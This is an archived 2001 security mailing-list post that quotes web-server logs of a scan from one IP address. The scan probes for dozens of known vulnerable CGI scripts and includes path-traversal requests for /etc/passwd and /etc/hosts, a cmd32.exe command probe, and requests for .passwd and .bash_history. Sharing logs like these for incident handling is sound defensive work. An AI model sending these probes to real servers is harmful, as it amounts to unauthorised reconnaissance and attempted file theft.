    > 64.226.243.16 - - [24/Sep/2001:08:34:50 +0200] "HEAD 
    > /cgi-bin/lwgate.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:50 +0200] "HEAD 
    > /cgi-bin/LWGate.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:51 +0200] "HEAD /cgi-bin/lwgate 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:51 +0200] "HEAD 
    > /cgi-bin/loadpage.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:52 +0200] "HEAD 
    > /Cgi-Bin/loadpage.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:52 +0200] "HEAD 
    > /cgi-bin/ksh HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:52 +0200] "HEAD 
    > /cgi-bin/ksh HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:53 +0200] "HEAD 
    > /Cgi-Bin/ksh HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:53 +0200] "HEAD 
    > /cgi-bin/jj HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:54 +0200] "HEAD 
    > /cgi-bin/jj HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:34:55 +0200] "HEAD 
    > /Cgi-Bin/jj HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:01 +0200] "HEAD 
    > /cgi-bin/infosrch.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:02 +0200] "HEAD 
    > /cgi-bin/info2www 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:04 +0200] "HEAD 
    > /cgi-bin/htsearch 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:20 +0200] "HEAD 
    > /cgi-bin/htmlscript?../../../../etc/passwd HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:20 +0200] "HEAD 
    > /cgi-bin/htmlscript 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:21 +0200] "HEAD 
    > /cgi-bin/htmlscript 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:21 +0200] "HEAD /cgi-bin/handler 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:22 +0200] "HEAD 
    > /cgi-bin/guestbook.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:22 +0200] "HEAD 
    > /cgi-bin/guestbook.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:22 +0200] "HEAD 
    > /cgi-bin/guestbook 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:23 +0200] "HEAD /cgi-bin/glimpse 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:23 +0200] "HEAD /cgi-bin/gH.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:24 +0200] "HEAD 
    > /cgi-bin/ftp/ftp.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:24 +0200] "HEAD 
    > /cgi-bin/ftp/ftp.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:25 +0200] "HEAD 
    > /cgi-bin/formmail.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:25 +0200] "HEAD 
    > /Cgi-Bin/formmail.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:25 +0200] "HEAD 
    > /Cgi-Bin/formmail.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:26 +0200] "HEAD 
    > /Cgi-Bin/formmail 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:26 +0200] "HEAD 
    > /Cgi-Bin/formmail 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:26 +0200] "HEAD 
    > /cgi-bin/FormHandler.cgi HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:27 +0200] "HEAD 
    > /cgi-bin/flexform.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:27 +0200] "HEAD 
    > /cgi-bin/flexform 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:27 +0200] "HEAD 
    > /cgi-bin/flexform 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:27 +0200] "HEAD 
    > /cgi-bin/finger.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:27 +0200] "HEAD 
    > /cgi-bin/finger.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:28 +0200] "HEAD /cgi-bin/finger 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:39 +0200] "HEAD 
    > /cgi-bin/filemail.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:39 +0200] "HEAD 
    > /cgi-bin/filemail 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:39 +0200] "HEAD 
    > /cgi-bin/filemail 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:41 +0200] "HEAD 
    > /Cgi-Bin/faxsurvey 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:41 +0200] "HEAD 
    > /cgi-bin/faxsurvey 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:48 +0200] "HEAD 
    > /Cgi-Bin/ezshopper/loadpage.cgi HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:50 +0200] "HEAD /cgi-bin/excite 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:51 +0200] "HEAD 
    > /cgi-bin/environ.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:35:52 +0200] "HEAD 
    > /Cgi-Bin/enivron.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:06 +0200] "HEAD /cgi-bin/edit.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:06 +0200] "HEAD 
    > /Cgi-Bin/echo.bat 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:06 +0200] "HEAD 
    > /cgi-bin/dumpenv.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:06 +0200] "HEAD 
    > /cgi-bin/download.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:07 +0200] "HEAD 
    > /cgi-bin/dnewsweb 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:07 +0200] "HEAD /cgi-bin/dig.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:07 +0200] "HEAD 
    > /cgi-bin/dbmlparser.exe HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:07 +0200] "HEAD 
    > /cgi-bin/day5notifier 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:08 +0200] "HEAD 
    > /cgi-bin/day5datanotifier.cgi HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:26 +0200] "HEAD 
    > /cgi-bin/day5datacopier.cgi HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:27 +0200] "HEAD /cgi-bin/date 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:28 +0200] "HEAD 
    > /cgi-bin/csh HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:28 +0200] "HEAD 
    > /Cgi-Bin/csh HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:28 +0200] "HEAD 
    > /cgi-bin/counterfiglet 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:28 +0200] "HEAD 
    > /Cgi-Bin/count.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:29 +0200] "HEAD 
    > /cgi-bin/Count.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:30 +0200] "HEAD 
    > /Cgi-Bin/cmd32.exe?/c+dir HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:30 +0200] "HEAD 
    > /Cgi-Bin/cmd32.exe 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:31 +0200] "HEAD 
    > /Cgi-Bin/cmd32.exe 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:54 +0200] "HEAD /Cgi-Bin/cmd.exe 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:55 +0200] "HEAD 
    > /cgi-bin/clickresponder.pl HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:55 +0200] "HEAD 
    > /cgi-bin/classifieds.cgi HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:56 +0200] "HEAD 
    > /cgi-bin/classifieds 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:57 +0200] "HEAD 
    > /cgi-bin/classified.cgi HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:57 +0200] "HEAD /cgi-bin/cgiwrap 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:36:58 +0200] "HEAD 
    > /cgi-bin/Cgitest.exe 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:37:23 +0200] "HEAD 
    > /Cgi-Bin/cgitest.exe 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:37:24 +0200] "HEAD 
    > /cgi-bin/cgimail.exe 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:37:25 +0200] "HEAD 
    > /cgi-bin/ceilidh.exe/ceilidh/?N4 HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:37:26 +0200] "HEAD /cgi-bin/cart.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:37:26 +0200] "HEAD /cgi-bin/cart.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:37:27 +0200] "HEAD /cgi-bin/campas 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:37:58 +0200] "HEAD /Cgi-Bin/campas 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:37:59 +0200] "HEAD 
    > /cgi-bin/calender_admin.pl HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:37:59 +0200] "HEAD 
    > /cgi-bin/calender_admin.pl HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:00 +0200] "HEAD 
    > /cgi-bin/calendar 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:01 +0200] "HEAD 
    > /cgi-bin/calendar 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:02 +0200] "HEAD 
    > /cgi-bin/cachemgr.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:07 +0200] "HEAD /cgi-bin/bnbform 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:09 +0200] "HEAD 
    > /cgi-bin/bizdb1-search.cgi HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:10 +0200] "HEAD 
    > /cgi-bin/bizdb1-search.cgi HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:10 +0200] "HEAD 
    > /cgi-bin/bigconf.cgi 
    > all HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:10 +0200] "HEAD 
    > /cgi-bin/bigconf.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:11 +0200] "HEAD 
    > /cgi-bin/bb-hist.sh 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:13 +0200] "HEAD /cgi-bin/axs.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:14 +0200] "HEAD 
    > /cgi-bin/ax-admin.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:14 +0200] "HEAD /cgi-bin/ax.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:14 +0200] "HEAD /cgi-bin/ax.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:15 +0200] "HEAD 
    > /cgi-bin/authorize/dbmfiles/users HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:16 +0200] "HEAD 
    > /cgi-bin/AT-generate.cgi HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:16 +0200] "HEAD 
    > /cgi-bin/AT-admin.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:17 +0200] "HEAD 
    > /cgi-bin/ash HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:20 +0200] "HEAD /cgi-bin/archie 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:20 +0200] "HEAD 
    > /cgi-bin/AnyForm2 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:21 +0200] "HEAD 
    > /cgi-bin/AnyForm.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:22 +0200] "HEAD 
    > /cgi-bin/AnyForm.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:22 +0200] "HEAD /cgi-bin/AnyForm 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:22 +0200] "HEAD 
    > /cgi-bin/anyboard.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:23 +0200] "HEAD 
    > /cgi-bin/allmanageup.pl HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:23 +0200] "HEAD 
    > /cgi-bin/allmanage/userfile.dat HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:23 +0200] "HEAD 
    > /cgi-bin/allmanage/userfile.dat HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:23 +0200] "HEAD 
    > /cgi-bin/allmanage/settings.cfg HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:23 +0200] "HEAD 
    > /cgi-bin/allmanage/k 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:24 +0200] "HEAD 
    > /cgi-bin/allmanage/adp 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:24 +0200] "HEAD 
    > /cgi-bin/allmanage.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:40 +0200] "HEAD 
    > /cgi-bin/alibaba.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:41 +0200] "HEAD 
    > /Cgi-Bin/alibaba.pl 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:41 +0200] "HEAD 
    > /cgi-bin/aglimpse.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:41 +0200] "HEAD 
    > /cgi-bin/aglimpse.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:42 +0200] "HEAD 
    > /cgi-bin/aglimpse 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:42 +0200] "HEAD 
    > /cgi-bin/ads.setup 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:42 +0200] "HEAD 
    > /cgi-bin/adpassword.txt HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:42 +0200] "HEAD 
    > /cgi-bin/adp HTTP/1.1" 
    > 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:42 +0200] "HEAD 
    > /cgi-bin/Admin_files/order.log HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:42 +0200] "HEAD 
    > /cgi-bin/add_ftp.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:42 +0200] "HEAD 
    > /cgi-bin/add_ftp.cgi 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:42 +0200] "HEAD 
    > /ccbill/secure/ccbill.log HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:42 +0200] "HEAD 
    > /bin/jscripts/GneteFuncs.js HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:43 +0200] "HEAD /bin 
    > HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:43 +0200] "HEAD /~tmp 
    > HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:43 +0200] "HEAD /~test 
    > HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:43 +0200] "HEAD /~root 
    > HTTP/1.1" 403 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:44 +0200] "HEAD /~named 
    > HTTP/1.1" 404 
    > 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:44 +0200] "HEAD /~lp 
    > HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:44 +0200] "HEAD /~logs 
    > HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:44 +0200] "HEAD /~log 
    > HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:44 +0200] "HEAD /~guest 
    > HTTP/1.1" 404 
    > 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:44 +0200] "HEAD /~ftp 
    > HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:45 +0200] "HEAD /~bin 
    > HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:45 +0200] "HEAD /.passwd 
    > HTTP/1.1" 404 
    > 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:45 +0200] "HEAD /.passwd 
    > HTTP/1.1" 404 
    > 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:45 +0200] "HEAD 
    > /.htaccess HTTP/1.1" 
    > 403 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:46 +0200] "HEAD /.bash_history 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:46 +0200] "HEAD /.access 
    > HTTP/1.1" 404 
    > 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:46 +0200] "HEAD /.access 
    > HTTP/1.1" 404 
    > 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:46 +0200] "HEAD 
    > /../../../../etc/hosts 
    > HTTP/1.1" 400 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:46 +0200] "HEAD 
    > /....../etc/hosts 
    > HTTP/1.1" 404 0 "-" "Mozilla/5.0"
    > 64.226.243.16 - - [24/Sep/2001:08:38:47 +0200] "HEAD /.pl 
    > HTTP/1.1" 404 0 
    > "-" "Mozilla/5.0"
    > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    > 
    > 
    > --
    >                  Guy Poizat
    >             poizatat_private
    > 
    > 
    > --------------------------------------------------------------
    > --------------
    > This list is provided by the SecurityFocus ARIS analyzer service.
    > For more information on this free incident handling, management 
    > and tracking system please see: http://aris.securityfocus.com
    > 
    
    ----------------------------------------------------------------------------
    This list is provided by the SecurityFocus ARIS analyzer service.
    For more information on this free incident handling, management 
    and tracking system please see: http://aris.securityfocus.com
    



    This archive was generated by hypermail 2b30 : Thu Oct 04 2001 - 09:35:44 PDT